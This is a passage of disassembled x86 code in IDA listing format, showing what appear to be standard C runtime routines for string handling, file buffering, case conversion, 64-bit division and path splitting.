		xor	eax, eax
		dec	ecx
		jz	short loc_4183E1


loc_4183D7:				; CODE XREF: sub_4182F0+79j
		xor	eax, eax


loc_4183D9:				; CODE XREF: sub_4182F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4183D9


loc_4183E1:				; CODE XREF: sub_4182F0+E5j
		and	ebx, 3
		jnz	short loc_41836B


loc_4183E6:				; CODE XREF: sub_4182F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4182F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183EE	proc near		; CODE XREF: sub_406B85+2E2p
					; sub_406B85+435p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41846A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41840D
		cmp	edi, 1
		jz	short loc_41840D
		cmp	edi, 2
		jnz	short loc_41846A


loc_41840D:				; CODE XREF: sub_4183EE+13j
					; sub_4183EE+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418424
		push	esi
		call	sub_41BAD3
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_418424:				; CODE XREF: sub_4183EE+27j
		push	esi
		call	sub_41B4B0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418439
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41844D
; ---------------------------------------------------------------------------


loc_418439:				; CODE XREF: sub_4183EE+42j
		test	al, 1
		jz	short loc_41844D
		test	al, 8
		jz	short loc_41844D
		test	ah, 4
		jnz	short loc_41844D
		mov	dword ptr [esi+18h], 200h


loc_41844D:				; CODE XREF: sub_4183EE+49j
					; sub_4183EE+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41BA39
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418477
; ---------------------------------------------------------------------------


loc_41846A:				; CODE XREF: sub_4183EE+Bj
					; sub_4183EE+1Dj
		mov	dword_515884, 16h
		or	eax, 0FFFFFFFFh


loc_418477:				; CODE XREF: sub_4183EE+7Aj
		pop	edi
		pop	esi
		retn
sub_4183EE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418480	proc near		; CODE XREF: sub_406B85+2ACp
					; sub_406B85+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4184B1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4184AF
		jz	short loc_4184B1
		dec	ecx
		dec	ecx


loc_4184AF:				; CODE XREF: sub_418480+29j
		not	ecx


loc_4184B1:				; CODE XREF: sub_418480+9j
					; sub_418480+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4184C0	proc near		; CODE XREF: sub_40707C+5Cp
					; sub_40707C+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418574
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_4184EA


loc_4184DB:				; CODE XREF: sub_4184C0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41851B
		test	edi, 3
		jnz	short loc_4184DB


loc_4184EA:				; CODE XREF: sub_4184C0+19j
					; sub_4184C0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_4184EA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418528
		test	ah, ah
		jz	short loc_418523
		test	eax, 0FF0000h
		jz	short loc_41851E
		test	eax, 0FF000000h
		jnz	short loc_4184EA


loc_41851B:				; CODE XREF: sub_4184C0+20j
		dec	edi
		jmp	short loc_41852B
; ---------------------------------------------------------------------------


loc_41851E:				; CODE XREF: sub_4184C0+52j
		sub	edi, 2
		jmp	short loc_41852B
; ---------------------------------------------------------------------------


loc_418523:				; CODE XREF: sub_4184C0+4Bj
		sub	edi, 3
		jmp	short loc_41852B
; ---------------------------------------------------------------------------


loc_418528:				; CODE XREF: sub_4184C0+47j
		sub	edi, 4


loc_41852B:				; CODE XREF: sub_4184C0+5Cj
					; sub_4184C0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418540
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41858C
		jmp	short loc_41855C
; ---------------------------------------------------------------------------


loc_418540:				; CODE XREF: sub_4184C0+75j
					; sub_4184C0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41857A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418570
		test	esi, 3
		jnz	short loc_418540
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41858C


loc_41855C:				; CODE XREF: sub_4184C0+7Ej
					; sub_4184C0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418570


loc_418563:				; CODE XREF: sub_4184C0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418572
		dec	ecx
		jnz	short loc_418563


loc_418570:				; CODE XREF: sub_4184C0+8Bj
					; sub_4184C0+A1j
		mov	[edi], cl


loc_418572:				; CODE XREF: sub_4184C0+ABj
		pop	ebx
		pop	esi


loc_418574:				; CODE XREF: sub_4184C0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41857A:				; CODE XREF: sub_4184C0+85j
					; sub_4184C0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418584:				; CODE XREF: sub_4184C0+E4j
					; sub_4184C0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41855C


loc_41858C:				; CODE XREF: sub_4184C0+7Cj
					; sub_4184C0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418584
		test	dl, dl
		jz	short loc_41857A
		test	dh, dh
		jz	short loc_4185D8
		test	edx, 0FF0000h
		jz	short loc_4185C8
		test	edx, 0FF000000h
		jnz	short loc_418584
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4185C8:				; CODE XREF: sub_4184C0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4185D8:				; CODE XREF: sub_4184C0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4184C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185F0	proc near		; CODE XREF: sub_4071BD+2A2p
					; sub_40F6F1+32F2p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418611
		xor	eax, eax
		jmp	short loc_418613
; ---------------------------------------------------------------------------


loc_418611:				; CODE XREF: sub_4185F0+1Bj
		mov	eax, edi


loc_418613:				; CODE XREF: sub_4185F0+1Fj
		cld
		pop	edi
		leave
		retn
sub_4185F0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418630


loc_418620:				; CODE XREF: sub_418630+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418630
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418630	proc near		; CODE XREF: sub_408B8D+DBp
					; sub_40E08F+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418620 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418636:				; CODE XREF: sub_417980+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41865B


loc_418648:				; CODE XREF: sub_418630+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418620
		test	cl, cl
		jz	short loc_4186A4
		test	edx, 3
		jnz	short loc_418648


loc_41865B:				; CODE XREF: sub_418630+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_418666:				; CODE XREF: sub_418630+61j
					; sub_418630+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4186A8
		and	eax, 81010100h
		jz	short loc_418666
		and	eax, 1010100h
		jnz	short loc_4186A2
		and	esi, 80000000h
		jnz	short loc_418666


loc_4186A2:				; CODE XREF: sub_418630+68j
					; sub_418630+81j ...
		pop	esi
		pop	edi


loc_4186A4:				; CODE XREF: sub_418630+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186A8:				; CODE XREF: sub_418630+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_4186E5
		test	al, al
		jz	short loc_4186A2
		cmp	ah, bl
		jz	short loc_4186DE
		test	ah, ah
		jz	short loc_4186A2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_4186D7
		test	al, al
		jz	short loc_4186A2
		cmp	ah, bl
		jz	short loc_4186D0
		test	ah, ah
		jz	short loc_4186A2
		jmp	short loc_418666
; ---------------------------------------------------------------------------


loc_4186D0:				; CODE XREF: sub_418630+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4186D7:				; CODE XREF: sub_418630+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4186DE:				; CODE XREF: sub_418630+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4186E5:				; CODE XREF: sub_418630+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186EC	proc near		; CODE XREF: sub_408B8D+AFp
					; sub_40F6F1+4A72p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_418700
		xor	eax, eax
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418700:				; CODE XREF: sub_4186EC+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_418730
		mov	esi, [ebp+arg_8]


loc_418709:				; CODE XREF: sub_4186EC+42j
		dec	dword ptr [esi+4]
		js	short loc_418718
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41871F
; ---------------------------------------------------------------------------


loc_418718:				; CODE XREF: sub_4186EC+20j
		push	esi
		call	sub_41B582
		pop	ecx


loc_41871F:				; CODE XREF: sub_4186EC+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41873A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_418730
		dec	[ebp+arg_4]
		jnz	short loc_418709


loc_418730:				; CODE XREF: sub_4186EC+18j
					; sub_4186EC+3Dj ...
		and	byte ptr [edi],	0


loc_418733:				; CODE XREF: sub_4186EC+55j
		mov	eax, ebx
		pop	esi


loc_418736:				; CODE XREF: sub_4186EC+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41873A:				; CODE XREF: sub_4186EC+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_418730
		xor	ebx, ebx
		jmp	short loc_418733
sub_4186EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418743	proc near		; CODE XREF: sub_40917E+BFp
					; sub_40917E+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_5158EC
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_418777
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4187DE


loc_41875F:				; CODE XREF: sub_418743+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_418770
		cmp	cl, 7Ah
		jg	short loc_418770
		sub	cl, 20h
		mov	[edx], cl


loc_418770:				; CODE XREF: sub_418743+21j
					; sub_418743+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41875F
		jmp	short loc_4187DE
; ---------------------------------------------------------------------------


loc_418777:				; CODE XREF: sub_418743+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41BC2B
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4187D0
		push	edi
		call	sub_417BEE
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4187D0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_5158EC
		call	sub_41BC2B
		add	esp, 20h
		test	eax, eax
		jz	short loc_4187D0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_417A00
		pop	ecx
		pop	ecx


loc_4187D0:				; CODE XREF: sub_418743+53j
					; sub_418743+61j ...
		push	[ebp+var_4]
		call	sub_417C62
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_4187DE:				; CODE XREF: sub_418743+1Aj
					; sub_418743+32j
		pop	ebx
		leave
		retn
sub_418743	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E1	proc near		; CODE XREF: sub_40A8C6+6p
					; sub_40A8E4+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_5158EC, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41880E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4188A7
		cmp	eax, 5Ah
		jg	loc_4188A7
		add	eax, 20h
		jmp	loc_4188A7
; ---------------------------------------------------------------------------


loc_41880E:				; CODE XREF: sub_4187E1+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_418842
		cmp	dword_43B7AC, esi
		jle	short loc_418830
		push	esi
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41883A
; ---------------------------------------------------------------------------


loc_418830:				; CODE XREF: sub_4187E1+42j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41883A:				; CODE XREF: sub_4187E1+4Dj
		test	eax, eax
		jnz	short loc_418842


loc_41883E:				; CODE XREF: sub_4187E1+ADj
		mov	eax, ebx
		jmp	short loc_4188A7
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187E1+3Aj
					; sub_4187E1+5Bj
		mov	edx, off_43B5A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_418866
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41886F
; ---------------------------------------------------------------------------


loc_418866:				; CODE XREF: sub_4187E1+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41886F:				; CODE XREF: sub_4187E1+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_5158EC
		call	sub_41BC2B
		add	esp, 20h
		test	eax, eax
		jz	short loc_41883E
		cmp	eax, esi
		jnz	short loc_41889A
		movzx	eax, [ebp+var_4]
		jmp	short loc_4188A7
; ---------------------------------------------------------------------------


loc_41889A:				; CODE XREF: sub_4187E1+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4188A7:				; CODE XREF: sub_4187E1+16j
					; sub_4187E1+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188AC	proc near		; CODE XREF: sub_40B0E7+204p
					; sub_40B0E7+2B5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_4188D0
		xor	eax, eax
		jmp	loc_41899D
; ---------------------------------------------------------------------------


loc_4188D0:				; CODE XREF: sub_4188AC+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4188E3
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_4188EA
; ---------------------------------------------------------------------------


loc_4188E3:				; CODE XREF: sub_4188AC+2Dj
		mov	[ebp+arg_C], 1000h


loc_4188EA:				; CODE XREF: sub_4188AC+35j
					; sub_4188AC+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41891E
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41891E
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_418904
		mov	edi, eax


loc_418904:				; CODE XREF: sub_4188AC+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417490
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_418964
; ---------------------------------------------------------------------------


loc_41891E:				; CODE XREF: sub_4188AC+47j
					; sub_4188AC+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_418969
		test	ecx, ecx
		jz	short loc_418932
		push	esi
		call	sub_41B4B0
		test	eax, eax
		pop	ecx
		jnz	short loc_4189AB


loc_418932:				; CODE XREF: sub_4188AC+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_418945
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_418947
; ---------------------------------------------------------------------------


loc_418945:				; CODE XREF: sub_4188AC+8Aj
		mov	edi, ebx


loc_418947:				; CODE XREF: sub_4188AC+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41BE4F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189A2
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4189A2


loc_418964:				; CODE XREF: sub_4188AC+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_418992
; ---------------------------------------------------------------------------


loc_418969:				; CODE XREF: sub_4188AC+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41922E
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4189AB
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_418992
		mov	[ebp+arg_C], 1


loc_418992:				; CODE XREF: sub_4188AC+BBj
					; sub_4188AC+DDj
		test	ebx, ebx
		jnz	loc_4188EA
		mov	eax, [ebp+arg_8]


loc_41899D:				; CODE XREF: sub_4188AC+1Fj
					; sub_4188AC+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4189A2:				; CODE XREF: sub_4188AC+ADj
					; sub_4188AC+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4189AD
; ---------------------------------------------------------------------------


loc_4189AB:				; CODE XREF: sub_4188AC+84j
					; sub_4188AC+CFj
		mov	eax, edi


loc_4189AD:				; CODE XREF: sub_4188AC+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41899D
sub_4188AC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4189C0	proc near		; CODE XREF: sub_40BCF7+3Dp
					; sub_40D5BA+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4189E1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_418A31
; ---------------------------------------------------------------------------


loc_4189E1:				; CODE XREF: sub_4189C0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4189EF:				; CODE XREF: sub_4189C0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4189EF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_418A1A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_418A1A
		jb	short loc_418A22
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_418A22


loc_418A1A:				; CODE XREF: sub_4189C0+4Aj
					; sub_4189C0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_418A22:				; CODE XREF: sub_4189C0+52j
					; sub_4189C0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_418A31:				; CODE XREF: sub_4189C0+1Fj
		pop	ebx
		retn	10h
sub_4189C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418A40	proc near		; CODE XREF: sub_40BCF7+24p
					; sub_40D5BA+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_418A62
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_418AA3
; ---------------------------------------------------------------------------


loc_418A62:				; CODE XREF: sub_418A40+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_418A70:				; CODE XREF: sub_418A40+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_418A70
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_418A9E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_418A9E
		jb	short loc_418A9F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_418A9F


loc_418A9E:				; CODE XREF: sub_418A40+4Ej
					; sub_418A40+54j
		dec	esi


loc_418A9F:				; CODE XREF: sub_418A40+56j
					; sub_418A40+5Cj
		xor	edx, edx
		mov	eax, esi


loc_418AA3:				; CODE XREF: sub_418A40+20j
		pop	esi
		pop	ebx
		retn	10h
sub_418A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AA8	proc near		; CODE XREF: sub_40BDAD+1E3p
					; ___:0040ED32p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AF0
		cmp	eax, 1
		pop	ecx
		jb	short loc_418AE3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_418AE3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_418ADF
		push	2
		push	ebx
		push	esi
		call	sub_41C3DC
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_418ADF:				; CODE XREF: sub_418AA8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_418AED
; ---------------------------------------------------------------------------


loc_418AE3:				; CODE XREF: sub_418AA8+18j
					; sub_418AA8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418AED
		and	byte ptr [eax],	0


loc_418AED:				; CODE XREF: sub_418AA8+39j
					; sub_418AA8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_418B65


loc_418B00:				; CODE XREF: sub_418AA8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_516DA1[edx], 4
		jz	short loc_418B11
		inc	eax
		jmp	short loc_418B2B
; ---------------------------------------------------------------------------


loc_418B11:				; CODE XREF: sub_418AA8+64j
		cmp	cl, 2Fh
		jz	short loc_418B25
		cmp	cl, 5Ch
		jz	short loc_418B25
		cmp	cl, 2Eh
		jnz	short loc_418B2B
		mov	[ebp+var_4], eax
		jmp	short loc_418B2B
; ---------------------------------------------------------------------------


loc_418B25:				; CODE XREF: sub_418AA8+6Cj
					; sub_418AA8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_418B2B:				; CODE XREF: sub_418AA8+67j
					; sub_418AA8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_418B00
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_418B65
		cmp	[ebp+arg_8], 0
		jz	short loc_418B60
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_418B49
		mov	edi, esi


loc_418B49:				; CODE XREF: sub_418AA8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41C3DC
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_418B60:				; CODE XREF: sub_418AA8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_418B6F
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418AA8+56j
					; sub_418AA8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_418B6F
		and	byte ptr [ecx],	0


loc_418B6F:				; CODE XREF: sub_418AA8+BBj
					; sub_418AA8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_418BC2
		cmp	edi, ebx
		jb	short loc_418BC2
